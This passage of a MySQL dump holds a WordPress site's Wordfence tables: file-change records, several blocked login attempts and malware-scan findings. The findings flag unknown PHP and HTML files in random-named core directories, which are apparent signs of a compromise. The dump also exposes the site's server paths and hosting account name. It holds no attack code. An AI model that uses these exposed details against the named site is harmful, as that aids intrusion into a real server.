('kPP1<','wp-content/plugins/wordfence/crypto/vendor/composer/autoload_files.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/autoload_files.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','۟40mf^\rZ','P&x4ispn0LPKG','',0,'?'),
('{Qw:	*s','wp-includes/blocks/details/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ulCy','.pr[gSCdC^\rl@','',0,'?'),
('HF)\\,b','wp-includes/js/jquery/ui/controlgroup.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/controlgroup.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9-AJf=1W(','9t|p=QfifwO;P7','',0,'?'),
('~%B\0z?o','wp-includes/IXR/class-IXR-message.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-message.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n.lr.c¨','3L1S;6uV	qBO','',0,'?'),
('pKS_eeJq9','wp-content/themes/twentytwentyone/assets/images/self-portrait-1885.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/self-portrait-1885.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';$`PbzR','\"GbƩ4pV|@ZO\r<_','',0,'?'),
('}p8HeTJw','wp-includes/SimplePie/library/SimplePie/Cache/Base.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/Base.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';y0&Kح^','OL/r~J_NL;','',0,'?'),
('a5[45MepC','wp-includes/js/jquery/ui/effect-bounce.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-bounce.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	PjKRFvݲdj','q?NK/xrh[z`\"#<l','',0,'?'),
('SCRCl','wp-admin/css/colors/sunrise/colors.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/sunrise/colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','._$5\"jZwã!','nt!EM,_䶙\rx~W','',0,'?'),
('߹u7[)h','wp-includes/blocks/embed/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7\0t됇','z%^`8\\oRhp˼&','',0,'?'),
('ki.\\','wp-includes/images/smilies/icon_neutral.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_neutral.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VM3HU1!v','Ois8\0|z6]e@Ym49','',0,'?'),
('Bް[\'4','wp-includes/blocks/post-author-biography/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-biography/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|,PJpb','é~\nmxyDwcC\'','',0,'?'),
('45q-p,','wp-includes/blocks/file/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h3[|+,8','kOҒ<eӉia|/B̲+','',0,'?'),
('©6<\09ZiR','wp-includes/js/jquery/ui/effect-fade.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-fade.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fv7(!ۭgt','[`ks[+kLEC','',0,'?'),
(')=X','wp-includes/sitemaps/lpshcut/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('@~}cQ\'J','wp-content/plugins/wordfence/modules/login-security/views/common/modal-prompt.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/common/modal-prompt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SV=_pg5',':*\rM}w4\\6J,\rYF','',0,'?'),
('#mnZ[xV͓(','wp-includes/assets/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/assets/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Ya@;ioʻ','wp-content/themes/twentytwentyone/assets/sass/05-blocks/cover/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/cover/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wW:.pj[yyQ','v6$-ȓkZOp]\"r5','',0,'?');
/*!40000 ALTER TABLE `wp4v_wffilemods` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfhits`
--

DROP TABLE IF EXISTS `wp4v_wfhits`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfhits` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `attackLogTime` double(17,6) unsigned NOT NULL,
  `ctime` double(17,6) unsigned NOT NULL,
  `IP` binary(16) DEFAULT NULL,
  `jsRun` tinyint(4) DEFAULT 0,
  `statusCode` int(11) NOT NULL DEFAULT 200,
  `isGoogle` tinyint(4) NOT NULL,
  `userID` int(10) unsigned NOT NULL,
  `newVisit` tinyint(3) unsigned NOT NULL,
  `URL` text DEFAULT NULL,
  `referer` text DEFAULT NULL,
  `UA` text DEFAULT NULL,
  `action` varchar(64) NOT NULL DEFAULT '',
  `actionDescription` text DEFAULT NULL,
  `actionData` text DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `k1` (`ctime`),
  KEY `k2` (`IP`,`ctime`),
  KEY `attackLogTime` (`attackLogTime`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfhits`
--

LOCK TABLES `wp4v_wfhits` WRITE;
/*!40000 ALTER TABLE `wp4v_wfhits` DISABLE KEYS */;
INSERT INTO `wp4v_wfhits` VALUES
(1,0.000000,1789252316.923266,'\0\0\0\0\0\0\0\0\0\0э4',0,503,0,0,0,'https://trevorklee.com/wp-login.php','','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36','blocked:wfsn','Blocked by Wordfence Security Network',NULL),
(2,0.000000,1789252808.414682,'\0\0\0\0\0\0\0\0\0\0э%',0,503,0,0,0,'https://trevorklee.com/wp-login.php','','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10','blocked:wfsn','Blocked by Wordfence Security Network',NULL),
(3,0.000000,1789253185.779741,'\0\0\0\0\0\0\0\0\0\0b;',0,503,0,0,0,'https://trevorklee.com/wp-login.php','','Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Mobile Safari/537.36','blocked:wfsn','Blocked by Wordfence Security Network',NULL),
(4,0.000000,1789253931.625810,'\0\0\0\0\0\0\0\0\0\0-=',0,503,0,0,0,'https://trevorklee.com/wp-login.php','','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36','blocked:wfsn','Blocked by Wordfence Security Network',NULL);
/*!40000 ALTER TABLE `wp4v_wfhits` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfhoover`
--

DROP TABLE IF EXISTS `wp4v_wfhoover`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfhoover` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `owner` text DEFAULT NULL,
  `host` text DEFAULT NULL,
  `path` text DEFAULT NULL,
  `hostKey` varbinary(124) DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `k2` (`hostKey`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfhoover`
--

LOCK TABLES `wp4v_wfhoover` WRITE;
/*!40000 ALTER TABLE `wp4v_wfhoover` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfhoover` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfissues`
--

DROP TABLE IF EXISTS `wp4v_wfissues`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfissues` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `time` int(10) unsigned NOT NULL,
  `lastUpdated` int(10) unsigned NOT NULL,
  `status` varchar(10) NOT NULL,
  `type` varchar(20) NOT NULL,
  `severity` tinyint(3) unsigned NOT NULL,
  `ignoreP` char(32) NOT NULL,
  `ignoreC` char(32) NOT NULL,
  `shortMsg` varchar(255) NOT NULL,
  `longMsg` text DEFAULT NULL,
  `data` text DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `lastUpdated` (`lastUpdated`),
  KEY `status` (`status`),
  KEY `ignoreP` (`ignoreP`),
  KEY `ignoreC` (`ignoreC`)
) ENGINE=InnoDB AUTO_INCREMENT=305 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfissues`
--

LOCK TABLES `wp4v_wfissues` WRITE;
/*!40000 ALTER TABLE `wp4v_wfissues` DISABLE KEYS */;
INSERT INTO `wp4v_wfissues` VALUES
(2,1789251199,1789251199,'new','skippedPaths',25,'6fd0d290b978eab8027e6b79501ac149','6fd0d290b978eab8027e6b79501ac149','8 paths were skipped for the malware scan due to scan settings','The option \"Scan files outside your WordPress installation\" is off by default, which means 8 paths and their file(s) will not be scanned for malware or unauthorized changes. To continue skipping these paths, you may ignore this issue. Or to start scanning them, enable the option and subsequent scans will include them. Some paths may not be necessary to scan, so this is optional. <a href=\"https://www.wordfence.com/help/?query=scan-result-skipped-paths\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a><br><br>The paths skipped are /home/trevorkl/trevorklee.com/08c93, /home/trevorkl/trevorklee.com/a0719, /home/trevorkl/trevorklee.com/a2a50, /home/trevorkl/trevorklee.com/assets, /home/trevorkl/trevorklee.com/cac1a, /home/trevorkl/trevorklee.com/fd34a, /home/trevorkl/trevorklee.com/images, and /home/trevorkl/trevorklee.com/well-known','a:0:{}'),
(10,1789251207,1789251207,'new','knownfile',75,'002ae3813b0f6a85d7c47421b65de3c0','cb9ec072428995d6a6e796fea1719912','Unknown file in WordPress core: wp-includes/Text/elbyraq/1qafueo/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:43:\"wp-includes/Text/elbyraq/1qafueo/index.html\";s:8:\"realFile\";s:73:\"/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(11,1789251207,1789251207,'new','knownfile',75,'6ec6f173ec1eda14c25bfb8fac433029','88c7eeb85a53cfc9f396214285b15d94','Unknown file in WordPress core: wp-includes/Text/elbyraq/1qafueo/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:42:\"wp-includes/Text/elbyraq/1qafueo/index.php\";s:8:\"realFile\";s:72:\"/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(19,1789251208,1789251208,'new','knownfile',75,'1b0aad78f15de50d8171f1eb3f8be548','8f4722deb9e7212303f87d89ed9f593e','Unknown file in WordPress core: wp-includes/Text/icatnpe/yrpuihc/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:43:\"wp-includes/Text/icatnpe/yrpuihc/index.html\";s:8:\"realFile\";s:73:\"/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(21,1789251208,1789251208,'new','knownfile',75,'0e34b1fdce705fe646e4e29d97c4f014','dc710557c2cd36a02b32c619ff868e14','Unknown file in WordPress core: wp-includes/Text/udewhxn/krxqwmf/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:43:\"wp-includes/Text/udewhxn/krxqwmf/index.html\";s:8:\"realFile\";s:73:\"/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(23,1789251208,1789251208,'new','knownfile',75,'4cf14d0cd290d3009c51c4d5da0b8761','ec3d3c291e20e2b1cb345039b5aa6dba','Unknown file in WordPress core: wp-includes/Text/yk1mjid/wgocz1i/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:43:\"wp-includes/Text/yk1mjid/wgocz1i/index.html\";s:8:\"realFile\";s:73:\"/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(24,1789251208,1789251208,'new','knownfile',75,'0eb60f7498d8239a4731138a40365e68','b4485967aa81afe86e2a796098bb5991','Unknown file in WordPress core: wp-includes/Text/yk1mjid/wgocz1i/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:42:\"wp-includes/Text/yk1mjid/wgocz1i/index.php\";s:8:\"realFile\";s:72:\"/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(59,1789251209,1789251209,'new','knownfile',75,'2b2aea6363f6e5e37149cf50d38ccf54','35935a61cd54c618bc16890d7e624d66','Unknown file in WordPress core: wp-includes/html-api/1xhyzgt/xahpzbq/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/html-api/1xhyzgt/xahpzbq/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(61,1789251209,1789251209,'new','knownfile',75,'4d4d8d99356d942c1b01018682f383f7','6e4b3e3cddad8b949d02298c2a98fbdc','Unknown file in WordPress core: wp-includes/html-api/gcqoh1b/ecjxzqp/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/html-api/gcqoh1b/ecjxzqp/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(68,1789251209,1789251209,'new','knownfile',75,'572997bf75868baad050d2ad460926e9','4aeb049305d83e3f1ca5801a2479f30e','Unknown file in WordPress core: wp-includes/html-api/knojvbd/lyuifac/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/html-api/knojvbd/lyuifac/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(70,1789251209,1789251209,'new','knownfile',75,'517110a1ac415093c0f5ec88b46fb756','952c9c6b9400085bb9b61263db1dec24','Unknown file in WordPress core: wp-includes/html-api/lpyi1nu/qounslr/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/html-api/lpyi1nu/qounslr/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(72,1789251209,1789251209,'new','knownfile',75,'8796f9695b06201292bf44128fde3fb5','aefe97dd3b3f24c95274aad3d99ad121','Unknown file in WordPress core: wp-includes/html-api/rcfospm/yrfsgvq/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/html-api/rcfospm/yrfsgvq/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(77,1789251209,1789251209,'new','knownfile',75,'2746653f4ed18fdb455be0e64279f8cf','b5ad121a53412a25305db585e710f7c3','Unknown file in WordPress core: wp-includes/html-api/smzgnbc/vxswmkl/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/html-api/smzgnbc/vxswmkl/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(78,1789251209,1789251209,'new','knownfile',75,'4b9c5a5f03f3e9cabb1b5d1b01b7efa5','0f82655896a54e82c533477acc9f40fd','Unknown file in WordPress core: wp-includes/html-api/smzgnbc/vxswmkl/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/html-api/smzgnbc/vxswmkl/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(79,1789251209,1789251209,'new','knownfile',75,'7d0d9ad0e48d6ae3cfa9ae6f4d03ddac','1b3ccfdaca0796cba71f1f2ff002cb20','Unknown file in WordPress core: wp-includes/html-api/xegynso/gqy1pns/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/html-api/xegynso/gqy1pns/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(162,1789251218,1789251218,'new','knownfile',75,'a306814d046fe9786cdcb21768c611e9','1ced8806b44c2efb1ba6221bd2989c8c','Unknown file in WordPress core: wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/f.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:50:\"wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/f.php\";s:8:\"realFile\";s:80:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/f.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(163,1789251218,1789251218,'new','knownfile',75,'3c55e2142e97193d4e764edcc5141af2','6adb49a3fe719090877d1ac03d17beff','Unknown file in WordPress core: wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:54:\"wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/index.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(164,1789251218,1789251218,'new','knownfile',75,'ae085a007645957c2f5f5ddbf64192aa','0833ab79ba65048d489f3ec9ab10056e','Unknown file in WordPress core: wp-includes/sitemaps/1xuftgv/dtrewsx/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/1xuftgv/dtrewsx/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(165,1789251218,1789251218,'new','knownfile',75,'5eae5534866fd7fbbc269cddec43d92f','f1413630954f5860a925fc094ec5fb58','Unknown file in WordPress core: wp-includes/sitemaps/1xuftgv/dtrewsx/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/1xuftgv/dtrewsx/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(168,1789251218,1789251218,'new','knownfile',75,'76263c6fc410dc1188d4805b00ce3725','a3690bf51155e83d1c084c11442bc320','Unknown file in WordPress core: wp-includes/sitemaps/egf1kul/ytws1xl/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/egf1kul/ytws1xl/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(169,1789251218,1789251218,'new','knownfile',75,'fec031efe2a65cde152368217d9cba01','d0dfff9d34df13dcf1d82ea395f09bda','Unknown file in WordPress core: wp-includes/sitemaps/egf1kul/ytws1xl/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/egf1kul/ytws1xl/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
